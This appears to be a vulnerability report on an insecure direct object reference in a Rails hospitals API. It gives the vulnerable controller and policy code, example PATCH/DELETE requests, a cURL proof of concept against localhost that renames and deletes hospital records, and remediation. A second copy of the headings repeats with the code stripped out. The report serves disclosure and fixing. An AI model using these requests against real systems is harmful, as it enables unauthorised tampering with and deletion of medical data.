CRITICAL: HospitalsController - IDOR in Update/Destroy Actions
Severity: CRITICAL
Vulnerability Type
Insecure Direct Object Reference (IDOR) - Horizontal Privilege Escalation
Summary
The HospitalsController allows any authenticated user to update or delete any hospital in the system by providing an arbitrary hospital ID. The controller fetches the hospital using an unscoped Find operation and the policy only checks if the user is authenticated, not if they have ownership.
Affected Endpoints
| Method |
Endpoint |
Action |
Vulnerability |
| PATCH/PUT |
/api/v1/hospitals/:id |
update |
Any user can modify any hospital |
| DELETE |
/api/v1/hospitals/:id |
destroy |
Any user can delete any hospital |
Vulnerable Code
app/controllers/api/v1/hospitals_controller.rb
# Lines 26-35: Update action
def update
authorize(hospital) # Policy only checks user.present?
result = Hospitals::Update.result(id: hospital.id.to_s, attributes: hospital_params)
if result.success?
render json: result.hospital, status: :ok
else
render json: result.hospital.errors, status: :unprocessable_entity
end
end
# Lines 37-46: Destroy action
def destroy
authorize(hospital) # Policy only checks user.present?
result = Hospitals::Destroy.result(id: hospital.id.to_s)
if result.success?
deleted_successfully_render(result.hospital)
else
render json: result.error, status: :unprocessable_entity
end
end
# Lines 50-52: Unscoped hospital finder
def hospital
@hospital ||= Hospitals::Find.result(id: params[:id]).hospital
end
Attack Vector
HTTP Request - Update Hospital
PATCH /api/v1/hospitals/1 HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...
Content-Type: application/json
{
"name": "Attacker Controlled Name",
"address": "Attacker Controlled Address"
}
HTTP Request - Delete Hospital
DELETE /api/v1/hospitals/1 HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...
cURL Proof of Concept
# Get authentication token (assumes you have valid credentials)
TOKEN="your_valid_api_token"
# List all hospitals to enumerate IDs
curl -X GET "http://localhost:3000/api/v1/hospitals" \
-H "Authorization: Bearer $TOKEN"
# Exploit: Update hospital with ID 1 (may belong to another user or system)
curl -X PATCH "http://localhost:3000/api/v1/hospitals/1" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"name":"COMPROMISED","address":"Attacker Address"}'
# Exploit: Delete hospital with ID 1
curl -X DELETE "http://localhost:3000/api/v1/hospitals/1" \
-H "Authorization: Bearer $TOKEN"
Root Cause Analysis
1. Unscoped Database Query
The hospital method uses Hospitals::Find.result(id: params[:id]) which internally calls:
# app/operations/hospitals/find.rb
def call
self.hospital = Hospital.find(id) # Fetches ANY hospital, no user filtering
end
2. Weak Authorization Policy
# app/policies/hospital_policy.rb
def update?
user.present? # Only checks authentication, not authorization
end
def destroy?
user.present? # Only checks authentication, not authorization
end
3. Hospital Model Has No User Association
# app/models/hospital.rb
class Hospital < ApplicationRecord
acts_as_paranoid
has_many :event_procedures, dependent: :destroy
# NOTE: No belongs_to :user - hospitals are global resources
end
Secure Pattern Comparison
Current Vulnerable Pattern
def hospital
@hospital ||= Hospitals::Find.result(id: params[:id]).hospital
end
Secure Pattern Used in MedicalShiftRecurrencesController
# app/controllers/api/v1/medical_shift_recurrences_controller.rb:54-59
def set_recurrence
@recurrence = current_user.medical_shift_recurrences
.where(deleted_at: nil)
.find(params[:id]) # Scoped to current user
rescue ActiveRecord::RecordNotFound
render json: { error: "Recurrence not found" }, status: :not_found
end
Remediation
If Hospitals Should Be User-Scoped
# app/controllers/api/v1/hospitals_controller.rb
private
def hospital
@hospital ||= current_user.hospitals.find(params[:id])
rescue ActiveRecord::RecordNotFound
render json: { error: "Hospital not found" }, status: :not_found
end
If Hospitals Are Global But Should Have Restricted Access
# app/policies/hospital_policy.rb
def update?
user.admin?
end
def destroy?
user.admin? && !record.event_procedures.exists?
end
Impact on Dependent Resources
When a hospital is modified or deleted, it affects:
-
EventProcedures - Hospital has_many :event_procedures
- All event procedures referencing the hospital will have modified/deleted hospital data
- With
acts_as_paranoid, soft deletion sets deleted_at but records remain
-
Data Integrity
- Medical records may reference incorrect hospital information
- Audit trails may become inconsistent
Related Vulnerabilities
CRITICAL: HospitalsController - IDOR in Update/Destroy Actions
Severity: CRITICAL
Vulnerability Type
Insecure Direct Object Reference (IDOR) - Horizontal Privilege Escalation
Summary
The
HospitalsControllerallows any authenticated user to update or delete any hospital in the system by providing an arbitrary hospital ID. The controller fetches the hospital using an unscopedFindoperation and the policy only checks if the user is authenticated, not if they have ownership.Affected Endpoints
/api/v1/hospitals/:id/api/v1/hospitals/:idVulnerable Code
app/controllers/api/v1/hospitals_controller.rbAttack Vector
HTTP Request - Update Hospital
HTTP Request - Delete Hospital
cURL Proof of Concept
Root Cause Analysis
1. Unscoped Database Query
The
hospitalmethod usesHospitals::Find.result(id: params[:id])which internally calls:2. Weak Authorization Policy
3. Hospital Model Has No User Association
Secure Pattern Comparison
Current Vulnerable Pattern
Secure Pattern Used in MedicalShiftRecurrencesController
Remediation
If Hospitals Should Be User-Scoped
If Hospitals Are Global But Should Have Restricted Access
Impact on Dependent Resources
When a hospital is modified or deleted, it affects:
EventProcedures -
Hospital has_many :event_proceduresacts_as_paranoid, soft deletion setsdeleted_atbut records remainData Integrity
Related Vulnerabilities